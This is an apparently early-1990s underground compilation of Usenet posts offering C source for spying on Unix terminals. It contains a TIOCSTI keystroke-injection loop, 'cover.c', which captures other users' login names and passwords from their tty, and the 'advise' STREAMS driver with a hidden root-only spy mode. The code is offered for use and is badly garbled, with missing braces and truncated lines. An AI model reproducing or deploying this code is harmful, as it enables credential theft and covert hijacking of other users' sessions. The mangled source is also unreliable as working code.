         sigsetmask(-1); /* stop hangups */
         printf("Connected.  Type ^B to exit\r\n");
         while (1)
     	  if (read(0, &ch, 1) <= 0) break;
     	  if ((ch & 0x7f) == '\002') break;
     	  if (ioctl(fd, TIOCSTI, &ch))	/* stuff char on "his" tty */
     		perror("\r\nsti failed\r");
     		goto done;
     	  ch &= 0x7f; /* echo it for me */
     	  if (ch < ' ')
     		if ((ch == '\r') || (ch == '\n'))
     		      write(1, "\r\n", 2);
     		ch += '@';
     		write(1, "^", 1);
     		write(1, &ch, 1);
     	  if (ch == '\177') {
     	      write(1, "^?", 2);
     	  write(1, &ch, 1);

     done:	ioctl(0, TIOCSETN, &sb);		/* reset tty */


This is not for the timid, shy, moralistically superior, easily offended,
religous types, system administrators, old foggies, EFF members...etc

tty-spy1: cover.c                 4.cb.15.04                    04/04/92

From: (Rob J. Nauta)
Subject: BSD tty security - an example
Message-ID: <>
Date: 8 May 91 09:59:14 GMT

Here's a small program I wrote a while back. It speaks for itself,
compile it, run it in the background (with &) and sit back.
This program is an official release of the TimeWasters from HOLLAND !


/* cover.c, version 2.5, Copyright (C) 1991 by WasteWare.               */
/* Unauthorized use and reproduction prohibited.                        */
/* This program monitors the login process and records its findings.    */

#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/termios.h>

#define DEBUG 1 /* Enable additional debugging info (needed!) */
#define USLEEP          /* Define this if your UNIX supports usleep() */

#ifdef ULTRIX
#define TCGETS TCGETP/* Get termios structure */
#define TCSETS TCSANOW/* Set termios structure */

int signal;             /* signalnumber */
{                       /* do nothing, ignore the signal */
        if(DEBUG) printf("Ignoring signal %d\n",signal);

int readandpush(f,string)
FILE *f;
char *string;
        char *cp,*result;
        int e;
        struct termios termios;

result=fgets(string,20,f);    /* Read a line into string */
if (result==NULL)
if (DEBUG)
{printf("String: %s\n",string);

ioctl(0,TCGETS,&termios);/* These 3 lines turn off input echo */
/*  echo = (termios.c_lflag & ECHO);*/
termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);

        for (cp=string;*cp;cp++)        /* Push it back as input */
        {       e=ioctl(0,TIOCSTI,cp);

int argc;
char *argv[];
        /* variables */
        int err;
        FILE *f;
        char *term      = "12345678901234567890";
        char *login     = "12345678901234567890";
        char *password  = "12345678901234567890";

        if (argc < 2)
        {       printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
                printf("Enter ttyname: ");
        else term=argv[argc-1];


        close(0);               /* close stdin */
#ifdef ULTRIX
perror("setpgrp:");     /* Hopefully this works */
perror("setsid:"); /* Disconnect from our controlling TTY and
                                   start a new session as sessionleader */
        f=fopen(term,"r");      /* Open tty as a stream, this guarantees
                                           getting file descriptor 0 */
        if (f==NULL)
        {       printf("Error opening %s with fopen()\n",term);
if (DEBUG) system("ps -xu>>/dev/null &");
        fclose(f);              /* Close the TTY again */
        f=fopen("/dev/tty","r");        /* We can now use /dev/tty instead */
        if (f==NULL)
        {       printf("Error opening /dev/tty with fopen()\n",term);

#ifdef USLEEP
usleep(20000);/* This gives login(1) a chance to read the
   string, or the second call would read the
   input that the first call pushed back ! /*
/* error/* Alternatives not yet implemented */
printf("Result: First: %s Second: %s\n",login,password);

        sleep(30);      /* Waste some time, to prevent that we send a SIGHUP
                           to login(1), which would kill the user. Instead,
                           wait a while. We then send SIGHUP to the shell of
                           the user, which will ignore it. */

From: (john.urban)
Subject: Re: BSD tty security - an example
Message-ID: <>
Date: 9 May 91 18:29:41 GMT

In article <> (Rob J. Nauta) writes:
>Here's a small program I wrote a while back. It speaks for itself,
>compile it, run it in the background (with &) and sit back.
>This program is an official release of the TimeWasters from HOLLAND !
>        close(0);               /* close stdin */
>#ifdef ULTRIX
>perror("setpgrp:");     /* Hopefully this works */
>perror("setsid:"); /* Disconnect from our controlling TTY and
>                                   start a new session as sessionleader */
>        f=fopen(term,"r");      /* Open tty as a stream, this guarantees
>                                           getting file descriptor 0 */
>        if (f==NULL)
>        {       printf("Error opening %s with fopen()\n",term);
>                exit(2);
>        }
>if (DEBUG) system("ps -xu>>/dev/null &");
>        fclose(f);              /* Close the TTY again */
>        f=fopen("/dev/tty","r");        /* We can now use /dev/tty instead */
>        if (f==NULL)
>        {       printf("Error opening /dev/tty with fopen()\n",term);
>                exit(2);
>        }

This program does not exhibit the problem on AT&T UNIX System V/386 Release 4.0
Version 2.[01]. The fopen of "/dev/tty" fails because the setsid() passed

In this small program:
# cat T.c
fopen("/dev/tty", "r");
# make T
cc -O T.c -o T
# truss ./T

You'll see the fopen fails w/ ENXIO.  If the setsid() is removed, then the
fopen passes fine.


John Ben Urban

Comments: Buggy and needs some clean up work.  Someone please submit a re-do.

There's something about a beautiful woman without a brain in her head that
can still be exciting...

tty-spy2                          4.cb.15.05                    04/04/92

From: (Keith Gabryelski)
Newsgroups: alt.sources
Subject: advise (spy) for streams ttys.
Message-ID: <>
Date: 16 Oct 90 23:26:25 GMT

The included source code includes

advise.c# a user program to interact with
# the advise device and module.

advisedev.c# the advise device driver.
# (requests to attach to a users terminal
#  are done through this device)

advisemod.c# the advise module.
# (this module is pushed onto the advisee's
#  tty stream so advisedev may attach to
#  it.)

advisemod.h# useful header file.

COPYING Makefile# Other files.

Pax, Keith

Ps, This will only work under System V Release 4.0 streams ttys.

    With little effort it could be made to work under other streams
    tty subsystems.

    No amount of effort (save re-thinking and re-implimenting) will
    make this thing work on non-streams based ttys.

#! /bin/sh
# This is a shell archive, meaning:
# 1. Remove everything above the #! /bin/sh line.
# 2. Save the resulting text in a file.
# 3. Execute the file with /bin/sh (not csh) to create the files:
# This archive created: Tue Oct 16 19:15:42 1990
export PATH; PATH=/bin:$PATH
if test -f 'COPYING'
echo shar: will not over-write existing file "'COPYING'"
cat << \SHAR_EOF > 'COPYING'

    (Clarified 11 Feb 1988)

 Copyright (C) 1988 Free Software Foundation, Inc.
 Everyone is permitted to copy and distribute verbatim copies
 of this license, but changing it is not allowed.  You can also
 use this wording to make the terms for other programs.

  The license agreements of most software companies keep you at the
mercy of those companies.  By contrast, our general public license is
intended to give everyone the right to share Advise.  To make sure that
you get the rights we want you to have, we need to make restrictions
that forbid anyone to deny you these rights or to ask you to surrender
the rights.  Hence this license agreement.

  Specifically, we want to make sure that you have the right to give
away copies of Advise, that you receive source code or else can get it
if you want it, that you can change Advise or use pieces of it in new
free programs, and that you know you can do these things.

  To make sure that everyone has such rights, we have to forbid you to
deprive anyone else of these rights.  For example, if you distribute
copies of Advise, you must give the recipients all the rights that you
have.  You must make sure that they, too, receive or can get the
source code.  And you must tell them their rights.

  Also, for our own protection, we must make certain that everyone
finds out that there is no warranty for Advise.  If Advise is modified by
someone else and passed on, we want its recipients to know that what
they have is not what we distributed, so that any problems introduced
by others will not reflect on our reputation.

  Therefore we (Richard Stallman and the Free Software Foundation,
Inc.) make the following terms which say what you must do to be
allowed to distribute or change Advise.


  1. You may copy and distribute verbatim copies of Advise source code
as you receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy a valid copyright notice "Copyright
(C) 1988 Free Software Foundation, Inc." (or with whatever year is
appropriate); keep intact the notices on all files that refer to this
License Agreement and to the absence of any warranty; and give any
other recipients of the Advise program a copy of this License
Agreement along with the program.  You may charge a distribution fee
for the physical act of transferring a copy.

  2. You may modify your copy or copies of Advise or any portion of it,
and copy and distribute such modifications under the terms of
Paragraph 1 above, provided that you also do the following:

    a) cause the modified files to carry prominent notices stating
    that you changed the files and the date of any change; and

    b) cause the whole of any work that you distribute or publish,
    that in whole or in part contains or is a derivative of Advise or
    any part thereof, to be licensed at no charge to all third
    parties on terms identical to those contained in this License
    Agreement (except that you may choose to grant more extensive
    warranty protection to some or all third parties, at your option).

    c) You may charge a distribution fee for the physical act of
    transferring a copy, and you may at your option offer warranty
    protection in exchange for a fee.

Mere aggregation of another unrelated program with this program (or its
derivative) on a volume of a storage or distribution medium does not bring
the other program under the scope of these terms.

  3. You may copy and distribute Advise (or a portion or derivative of it,
under Paragraph 2) in object code or executable form under the terms of
Paragraphs 1 and 2 above provided that you also do one of the following:

    a) accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of
    Paragraphs 1 and 2 above; or,

    b) accompany it with a written offer, valid for at least three
    years, to give any third party free (except for a nominal
    shipping charge) a complete machine-readable copy of the
    corresponding source code, to be distributed under the terms of
    Paragraphs 1 and 2 above; or,

    c) accompany it with the information you received as to where the
    corresponding source code may be obtained.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form alone.)

For an executable file, complete source code means all the source code for
all modules it contains; but, as a special exception, it need not include
source code for modules which are standard libraries that accompany the
operating system on which the executable file runs.

  4. You may not copy, sublicense, distribute or transfer Advise
except as expressly provided under this License Agreement.  Any attempt
otherwise to copy, sublicense, distribute or transfer Advise is void and
your rights to use the program under this License agreement shall be
automatically terminated.  However, parties who have received computer
software programs from you with this License Agreement will not have
their licenses terminated so long as such parties remain in full compliance.

  5. If you wish to incorporate parts of Advise into other free programs
whose distribution conditions are different, write to the Free Software
Foundation at 675 Mass Ave, Cambridge, MA 02139.  We have not yet worked
out a simple rule that can be stated here, but we will often permit this.
We will be guided by the two goals of preserving the free status of all
derivatives of our free software and of promoting the sharing and reuse of

Your comments and suggestions about our licensing policies and our
software are welcome!  Please contact the Free Software Foundation, Inc.,
675 Mass Ave, Cambridge, MA 02139, or call (617) 876-3296.



fi # end of overwriting check
if test -f 'Makefile'
echo shar: will not over-write existing file "'Makefile'"
cat << \SHAR_EOF > 'Makefile'
# Copyright (C) 1990 Keith Gabryelski (
# This file is part of advise.
# advise is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY.  No author or distributor
# accepts responsibility to anyone for the consequences of using it
# or for whether it serves any particular purpose or works at all,
# unless he says so in writing.  Refer to the advise General Public
# License for full details.
# Everyone is granted permission to copy, modify and redistribute
# advise, but only under the conditions described in the
# advise General Public License.   A copy of this license is
# supposed to have been given to you along with advise so you
# can know your rights and responsibilities.  It should be in a
# file named COPYING.  Among other things, the copyright notice
# and this notice must be preserved on all copies.  */
# Author:Keith Gabryelski(


all: advise

advise.o: advisemod.h
fi # end of overwriting check
if test -f 'advise.c'
echo shar: will not over-write existing file "'advise.c'"
cat << \SHAR_EOF > 'advise.c'
/* Copyright (C) 1990 Keith Gabryelski (

This file is part of advise.

advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY.  No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing.  Refer to the advise General Public
License for full details.

Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License.   A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities.  It should be in a
file named COPYING.  Among other things, the copyright notice
and this notice must be preserved on all copies.  */

** Author:Keith Gabryelski(

#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <poll.h>
#include <sys/stream.h>
#include <errno.h>
#include <utmp.h>
#include <pwd.h>
#include <termios.h>
#include <string.h>
#include <ctype.h>
#include "advisemod.h"

extern char *optarg;

#define max(a,b) ((a)>(b)?(a):(b))

static struct module_list
    char *name;/* name of module */
    struct module_list *next;/* next module to be pushed */
} advise_module_list =
    "advise", NULL,

static void usage(void), advise(char *);
static char *strchar(char);
static struct module_list *list_modules(int, char *);

static int allow_deny_p, allow_deny;
static int allow_advise_p, allow_advise;
static int error_flag;
static int secret, spy;
static int meta_character = '~';
static char *progname;
static char *module = "ldterm";

main(int argc, char **argv)
    int c, error = 0;
    struct termios termios;
    struct module_list *modules;

    progname = *argv;

    while((c = getopt(argc, argv, "ADM:Sadm:s?")) != EOF)
case 's':

case 'S':
    if (!getuid())

case 'a':

case 'd':

case 'A':

case 'D':

case 'm':
    meta_character = optarg[0];

case 'M':
    module = optarg;

case '?':

if (error_flag)

    if (allow_advise_p)
int status = ioctl(0, ADVISE_STATUS, &status);

if (allow_advise && status)
    int advise_module_pushed = 0;

    /* Push advise module on stream */
    (void) ioctl(0, TCGETS, &termios);

    modules = list_modules(0, module); = modules;

    for (modules = &advise_module_list;
 modules != NULL;
 modules = modules->next)

if (!strcmp(modules->name, "advise"))
    if (advise_module_pushed)

    advise_module_pushed = 1;

if (ioctl(0, I_PUSH, modules->name))
    (void) fprintf(stderr, "%s: Couldn't I_PUSH: %s (%s).\n",
   progname, modules->name, strerror(errno));

    (void) ioctl(0, TCSETS, &termios);

if (!allow_advise && !status)
    (void) ioctl(0, TCGETS, &termios);

    modules = list_modules(0, "advise");

    while (modules != NULL)
if (strcmp(modules->name, "advise"))
    if (ioctl(0, I_PUSH, modules->name))
(void) fprintf(stderr,
       "%s: Couldn't I_PUSH: %s (%s).\n",
       progname, modules->name,

modules = modules->next;

    (void) ioctl(0, TCSETS, &termios);

if (!allow_deny_p)
    return error ? 1 : 0;

    if (allow_deny_p)
if (ioctl(0, allow_deny, 0))
    if (errno == EINVAL)
(void) fprintf(stderr, "%s: module \"advise\" not in stream.\n",
(void) fprintf(stderr, "%s: Couldn't set advisory mode (%s).\n",
       progname, strerror(errno));

    return 1;

return 0;

    /* All switches have been handled */

    argc -= optind;
    argv += optind;

    if (argc > 1)

    if (argc == 0)
int status;

** Status of advise.

if (ioctl(0, ADVISE_STATUS, &status))
    printf("Module \"advise\" not pushed on stream.\n");
    printf("Advise access %s\n", status ? "allowed" : "denied");

return 0;


    return 0;

    (void) fprintf(stderr, "usage: %s [-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]\n",

static void
advise(char *who)
    int ret, fd, metad=0;
    char buf[1024], *device, *devname, *login_name, *tty_name;
    struct pollfd pfds[2];
    struct termios termios, oldtermios;
    struct stat stbuf;
    struct utmp *ut, uts;
    char username[sizeof(ut->ut_name) + 1];

    username[0] = '\0';

    if (*who == '/') /* full path name */
device = who;
/* Either this is /dev/ + who OR a username */


while ((ut = getutent()) != NULL)
    if (!strncmp(who, ut->ut_name, sizeof(ut->ut_name)))
device = (char *)malloc(sizeof("/dev/") +

if (device == NULL)
    (void) fprintf(stderr,
    "%s: malloc failed (Out of Memory)\n",


strcpy(device, "/dev/");
strncat(device, ut->ut_name, sizeof(ut->ut_name));
device[sizeof("/dev/")+sizeof(ut->ut_name)] = '\0';

strncpy(username, ut->ut_name, sizeof(ut->ut_name));
username[sizeof(ut->ut_name)] = '\0';

if (ut == NULL) /* Is /dev/ + who */
    device = (char *)malloc(sizeof("/dev/") + strlen(who));

    if (device == NULL)
(void) fprintf(stderr, "%s: malloc failed (Out of Memory)\n",


    strcpy(device, "/dev/");
    strcat(device, who);


    devname = device + sizeof("/dev/") - 1;

    if (username[0] == '\0')

strncpy(uts.ut_line, devname, sizeof(uts.ut_line));

if ((ut = getutline(&uts)) != NULL)
    strncpy(username, ut->ut_name, sizeof(ut->ut_name));
    username[sizeof(ut->ut_name)] = '\0';
    strcpy(username, "unknown");


    if (stat(device, &stbuf) < 0)
if (errno == ENOENT)
    (void) fprintf(stderr, "%s: no advisee device: , spy ? "spying" : "advising", username, devname);

    data.len = strlen(str);
    data.buf = str;

    (void) putmsg(fd, &ctl, &data, 0);


    if (!spy)
(void) ioctl(0, TCGETS, &termios);

oldtermios = termios;
termios.c_cc[VMIN] = 1;
termios.c_cc[VTIME] = 0;
termios.c_lflag &= ~(ISIG|ICANON|ECHO);

(void) ioctl(0, TCSETS, &termios);

    pfds[0].fd = fd;
    pfds[0].events = POLLIN;

    pfds[1].fd = 0;
    pfds[1].events = POLLIN;

    for (;;)
if (poll(pfds, 2, INFTIM) < 0)

if ((pfds[0].revents&POLLIN) != 0) /* data from advisee ready */
    if ((ret = read(fd, buf, sizeof(buf))) > 0)
write(1, buf, ret);

if ((pfds[1].revents&POLLIN) != 0) /* data from advisor ready */
    if ((ret = read(0, buf, sizeof(buf))) > 0)
if (!spy)
    register int i;
    register char *p = buf, *pp=buf;

    for (i=0; i < ret; ++i, p++)
if (metad)
    if (metad == 2)
meta_character = *p;
printf("The meta character is now: %s\n",
metad = 0;

    switch (*p)
    case '=':

    case '?':
char *escstr = strchar(meta_character);

printf("Help for meta character <%s>:\n",
printf("%s?\t-- This help message.\n", escstr);
printf("%s~\t-- Send a single meta character.\n",
printf("%s.\t-- Disconnect advise session.\n",
printf("%s=C\t-- Change meta character to C.\n",
printf("%s^Z\t-- Suspend advise session.\n",

    case '.':
if (!secret)
    char *str;

    str = malloc(strlen(login_name) +
  strlen(tty_name) +
  sizeof("[/ disconnecting from :]\n") +
       strlen(username) + strlen(devname));

    if (str)
struct advise_message m;
struct strbuf ctl, data;


ctl.len = sizeof(m);
ctl.buf = (void *)&m;

sprintf(str, "[%s/%s disconnecting from %s:%s]\n\r",
login_name, tty_name, username,

data.len = strlen(str);
data.buf = str;

(void) putmsg(fd, &ctl, &data, 0);



(void) ioctl(0, TCSETS, &oldtermios);


    case CTRL('Z'):
(void) ioctl(0, TCSETS, &oldtermios);
(void) signal(SIGTSTP, SIG_DFL);
(void) kill(0, SIGTSTP);
(void) ioctl(0, TCSETS, &termios);

    if (*p == meta_character)
int d = p - pp;


if (d)
    write(fd, pp, d);

pp += d + 1;
i += d;

    if (p - pp)
struct advise_message m;
struct strbuf ctl, data;

m.type = ADVISE_DATA;

ctl.len = sizeof(m);
ctl.buf = (void *)&m;

data.len = p - pp;
data.buf = p;

(void) putmsg(fd, &ctl, &data, 0);

static struct module_list *
list_modules(int fd, char *push_below)
    char lookbuf[max(FMNAMESZ+1,256)];
    struct module_list *mp, *mpp;

    mp = NULL;

    while (ioctl(fd, I_LOOK, lookbuf) == 0)
if (ioctl(fd, I_POP, 0))
    (void) fprintf(stderr, "%s: Couldn't I_POP: %s (%s).\n", progname,
   lookbuf, strerror(errno));
    return mp;

if ((mpp = malloc(sizeof(struct module_list))) == NULL ||
    (mpp->name = malloc(strlen(lookbuf) + 1)) == NULL)
    (void) fprintf(stderr, "%s: Couldn't malloc (out of memory).\n",
    return mp;

mpp->next = mp;
mp = mpp;

strcpy(mp->name, lookbuf);

if (!strcmp(push_below, lookbuf))

    return mp;

static char *
strchar(char character)
    static char retbuf[4];
    char *p = retbuf;
    int capit = 0;

    if (!isascii(character))
*p++ = '~';
capit = 1;
character = toascii(character);

    if (iscntrl(character))
*p++ = '^';
capit = 1;
character += '@';

    if (capit)
*p++ = toupper(character);
*p++ = character;

    *p = '\0';

    return retbuf;
fi # end of overwriting check
if test -f ''
echo shar: will not over-write existing file "''"
cat << \SHAR_EOF > ''
.TH advise 1
advise \- Attach to another user.
.B advise
[-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]
.B Advise
attaches a user (the advisor) to another user's (the advisee) terminal in
such a way the the advisor can type for the advisee and view what
the advisee's terminal is displaying.
The advisee would typically type ``advise -a'' to allow advise attaches;
the advisor would then type ``advise username'' which would connect the
advisors terminal the the advisee's.
All characters the advisor types are sent to the advisee's terminal
as if the advisee typed them save the meta character.
The default meta character is tilde (~).  The advisor uses the meta
character to disconnect or suspend the advise session.  The meta
commands that are available to the advisor are:
Meta character help message.
Send the meta character to the advisee's terminal.
Disconnect advise session.
Change the meta character to C.
Suspend this advise session.
In Advise mode the advisor uses ``~.'' to disconnect the advise session
(Note: the advisor should use ``~~'' to send one tilde to the advisee's
In ``spy mode'' the advisor should use an interrupt is use to disconnect
the advise session.
``advise -d'' can be used by the advisee to disconnect the advise
Allow advise attaches to this terminal.
Disallow advise attaches to this terminal.
-M module
Name of module to place advise module under.
When attaching to another user, don't send the attach message.
(available to the super user, only).
Push advise module on standard input stream and allow advise
Push advise module on standard input stream and disallow advise
-m char
Change the meta character to ``char''.  The default meta character
is tilde (~).
Spy mode only (ie, input from the advisor is not passed to the
The name of the tty device to advise.
The name of the user to advise.
Keith M. Gabryelski (
fi # end of overwriting check
if test -f 'advisedev.c'
echo shar: will not over-write existing file "'advisedev.c'"
cat << \SHAR_EOF > 'advisedev.c'
/* Copyright (C) 1990 Keith Gabryelski (

This file is part of advise.

advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY.  No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing.  Refer to the advise General Public
License for full details.

Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License.   A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities.  It should be in a
file named COPYING.  Among other things, the copyright notice
and this notice must be preserved on all copies.  */

** Author:Keith Gabryelski(

#include <sys/types.h>
#include <sys/param.h>
#include <sys/sysmacros.h>
#include <sys/signal.h>
#include <sys/file.h>
#include <sys/user.h>
#include <sys/proc.h>
#include <sys/termios.h>
#include <sys/ttold.h>
#include <sys/cmn_err.h>
#include <sys/stream.h>
#include <sys/stropts.h>
#include <sys/errno.h>
#include <sys/debug.h>
#include "advisemod.h"
#include <sys/inline.h>

int adviseopen(), adviseclose(), adviserput(), advisewput();
void advisesrvioc();

static struct module_info advisemiinfo =
    0, "advise", 0, INFPSZ, 2048, 128,

static struct qinit adviserinit =
    adviserput, NULL, adviseopen, adviseclose, NULL, &advisemiinfo,

static struct module_info advisemoinfo =
    42, "advise", 0, INFPSZ, 300, 200,

static struct qinit advisewinit =
    advisewput, NULL, adviseopen, adviseclose, NULL, &advisemoinfo,

struct streamtab adviseinfo =
    &adviserinit, &advisewinit, NULL, NULL,

extern struct advise_state advise_table;

static int
adviseopen(q, devp, flag, sflag, credp)
register queue_t *q;
dev_t *devp;
int flag, sflag;
cred_t *credp;
    register mblk_t *bp;
    struct advise_queue_list *ql;
    struct advise_state  *sp;
    int i;

    if (sflag == MODOPEN)
return EINVAL;

    for (i=1; i < L_MAXMIN; ++i)
sp = &advise_table;

while (sp->next != NULL)
    ql = sp->next->q_list;

    while (ql != NULL)
if (ql->minord == i)

ql = ql->next;

    if (ql != NULL)

    sp = sp->next;

if (sp->next == NULL)

    if (i == L_MAXMIN)
return ENOMEM;/* no more resources */

    *devp = makedevice(getmajor(*devp), i);

    if ((bp = allocb((int)sizeof(struct advise_queue_list), BPRI_MED)) == NULL)
return ENOMEM;

    bp->b_wptr += sizeof(struct advise_queue_list);
    ql = (struct advise_queue_list *)bp->b_rptr;
    ql->savbp = bp;
    ql->next = NULL;
    ql->q = q;
    ql->state = NULL;
    ql->minord = i;

    q->q_ptr = (caddr_t)ql;
    WR(q)->q_ptr = (caddr_t)ql;

    return 0;

register queue_t *q;
    struct advise_state *llist = &advise_table;
    struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr;
    struct advise_queue_list *ql, *qlp;

    /* Remove us from the advisor's list */

    if (qp->state != NULL)
while (llist != NULL && llist->next != qp->state)
    llist = llist->next;

if (llist != NULL)
    ql = llist->next->q_list;

    if (ql->q == q)
llist->next->q_list = ql->next;
while (ql->next != NULL && ql->next->q != q)
    ql = ql->next;

if (ql->next != NULL)
    ql->next = ql->next->next;

    qp->state = NULL;

    q->q_ptr = NULL;

static int
adviserput(q, bp)
struct queue *q;
mblk_t *bp;
    putnext(q, bp);

static int
advisewput(q, bp)
struct queue *q;
mblk_t *bp;
    struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr;
    struct advise_state *sp = qp->state;

    switch (bp->b_datap->db_type)
    case M_PROTO:
struct advise_message *ms = (struct advise_message *)bp->b_rptr;
mblk_t *bp2 = unlinkb(bp);

if (bp2)
    if (sp != NULL && sp->q != NULL)
if (ms->type == ADVISE_READDATA)
    putnext(WR(sp->q), bp2);
    putnext(sp->q, bp2);



    case M_DATA:
** Write data to advisee.
if (sp != NULL && sp->q != NULL)
    putnext(sp->q, bp);

    case M_IOCTL:
    case M_IOCDATA:
advisesrvioc(q, bp);


static void
advisesrvioc(q, mp)
queue_t *q;
mblk_t *mp;
    mblk_t *mp1;
    struct iocblk *iocbp = (struct iocblk *)mp->b_rptr;
    struct advise_queue_list *qp=(struct advise_queue_list *)q->q_ptr; 
    int s;

    if (mp->b_datap->db_type == M_IOCDATA)
/* For copyin/copyout failures, just free message. */
if (((struct copyresp *)mp->b_rptr)->cp_rval)

if (!((struct copyresp *)mp->b_rptr)->cp_private)
    mp->b_datap->db_type = M_IOCACK;
    iocbp->ioc_count = 0;
    iocbp->ioc_rval = 0;
    iocbp->ioc_error = 0;
    putnext(RD(q), mp);

    switch (iocbp->ioc_cmd)
    register dev_t p;
    struct advise_queue_list *qlp;
    struct advise_state *llist;

    if (qp->state != NULL) /* already advising someone */
iocbp->ioc_error = EBUSY;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);

    if (!mp->b_cont)
iocbp->ioc_error = EINVAL;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);

    p = *(dev_t *)mp->b_cont->b_rptr;

    s = spladvise();

    llist =;

    while (llist != NULL && llist->dev != p)
llist = llist->next;

    if (llist == NULL)
iocbp->ioc_error = EUNATCH;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);

    if ((llist->status & ALLOW_ADVICE) == 0 && (!suser(u.u_cred)))
iocbp->ioc_error = EACCES;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);

    ** Add ourself to the list of advisors for this advisee.

    if (llist->q_list == NULL)
qlp = llist->q_list = qp;
qlp = llist->q_list;

while (qlp->next != NULL)
    qlp = qlp->next;

qlp->next = qp;
qlp = qp;

    qlp->state = llist;


    mp->b_datap->db_type = M_IOCACK;
    mp1 = unlinkb(mp);
    if (mp1)
    iocbp->ioc_count = 0;
    putnext(RD(q), mp);

/* Unrecognized ioctl command */
if (canput(RD(q)->q_next))
    mp->b_datap->db_type = M_IOCNAK;
    putnext(RD(q), mp);
    putbq(q, mp);
fi # end of overwriting check
if test -f 'advisemod.c'
echo shar: will not over-write existing file "'advisemod.c'"
cat << \SHAR_EOF > 'advisemod.c'
/* Copyright (C) 1990 Keith Gabryelski (

This file is part of advise.

advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY.  No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing.  Refer to the advise General Public
License for full details.

Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License.   A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities.  It should be in a
file named COPYING.  Among other things, the copyright notice
and this notice must be preserved on all copies.  */

** Author:Keith Gabryelski(

#include <sys/types.h>
#include <sys/param.h>
#include <sys/signal.h>
#include <sys/file.h>
#include <sys/user.h>
#include <sys/proc.h>
#include <sys/termios.h>
#include <sys/ttold.h>
#include <sys/cmn_err.h>
#include <sys/stream.h>
#include <sys/stropts.h>
#include <sys/errno.h>
#include <sys/debug.h>
#include "advisemod.h"
#include <sys/inline.h>

int advisemopen(), advisemclose(), advisemrput(), advisemwput();

static struct module_info advisemiinfo =
    0, "advisemod", 0, INFPSZ, 2048, 128,

static struct qinit adviserinit =
    advisemrput, NULL, advisemopen, advisemclose, NULL, &advisemiinfo,

static struct module_info advisemoinfo =
    42, "advisemod", 0, INFPSZ, 300, 200,

static struct qinit advisewinit =
    advisemwput, NULL, advisemopen, advisemclose, NULL, &advisemoinfo,

struct streamtab advisemodinfo =
    &adviserinit, &advisewinit, NULL, NULL,

struct advise_state advise_table;

static int
advisemopen(q, devp, flag, sflag, credp)
register queue_t *q;
dev_t *devp;
int flag, sflag;
cred_t *credp;
    register struct advise_state *sp;
    register mblk_t *bp;
    struct advise_state *llist = &advise_table;

    if (sflag != MODOPEN)
return EINVAL;

    if ((bp = allocb((int)sizeof(struct advise_state), BPRI_MED)) == NULL)
return ENOMEM;

    bp->b_wptr += sizeof(struct advise_state);
    sp = (struct advise_state *)bp->b_rptr;
    sp->savbp = bp;

    sp->dev = *devp;
    sp->status = 0;/* Deny access by default */
    sp->next = NULL;
    sp->q_list = NULL;
    sp->q = q;

    while (llist->next != NULL)
if (llist->next->dev == *devp)
    ** We are already pushed on this stream.

    sp = llist->next;


llist = llist->next;

    llist->next = sp;

    q->q_ptr = (caddr_t)sp;
    WR(q)->q_ptr = (caddr_t)sp;

    return 0;

register queue_t *q;
    register struct advise_state *sp = (struct advise_state *)q->q_ptr;
    struct advise_state *llist = &advise_table;
    struct advise_queue_list *qp = sp->q_list;

    sp->status = 0;

    /* unlink us from the state table */

    while (llist->next != sp)
llist = llist->next;

    llist->next = llist->next->next;

    while (sp->next != NULL)
/* tell each advisor that we're shutting down */

flushq(sp->q, FLUSHDATA);
putctl(sp->q->q_next, M_HANGUP);

sp = sp->next;


    q->q_ptr = NULL;

advisemrput(q, mp)
register queue_t *q;
register mblk_t *mp;
    putnext(q, mp);

advisemwput(q, mp)
register queue_t *q;
register mblk_t *mp;
    struct advise_state *sp = (struct advise_state *)q->q_ptr;
    register struct advise_queue_list *qp;
    int s;

    switch (mp->b_datap->db_type)
    case M_DATA:
** Write data to advisors.
s = spladvise();
for (qp = sp->q_list; qp != NULL; qp = qp->next)
    mblk_t *mp1 = copymsg(mp);

    if (mp1 != NULL)
putnext(qp->q, mp1);


    case M_IOCTL:
    case M_IOCDATA:
if (advisemsrvioc(q, mp)) /* handled? */

    putnext(q, mp);

static int
advisemsrvioc(q, mp)
queue_t *q;
mblk_t *mp;
    mblk_t *mp1;
    struct iocblk *iocbp = (struct iocblk *)mp->b_rptr;
    struct advise_state *sp = (struct advise_state *)q->q_ptr;

    if (mp->b_datap->db_type == M_IOCDATA)
struct copyresp *csp = (struct copyresp *)mp->b_rptr;

    /* For copyin/copyout failures, just free message. */

    if (csp->cp_rval)
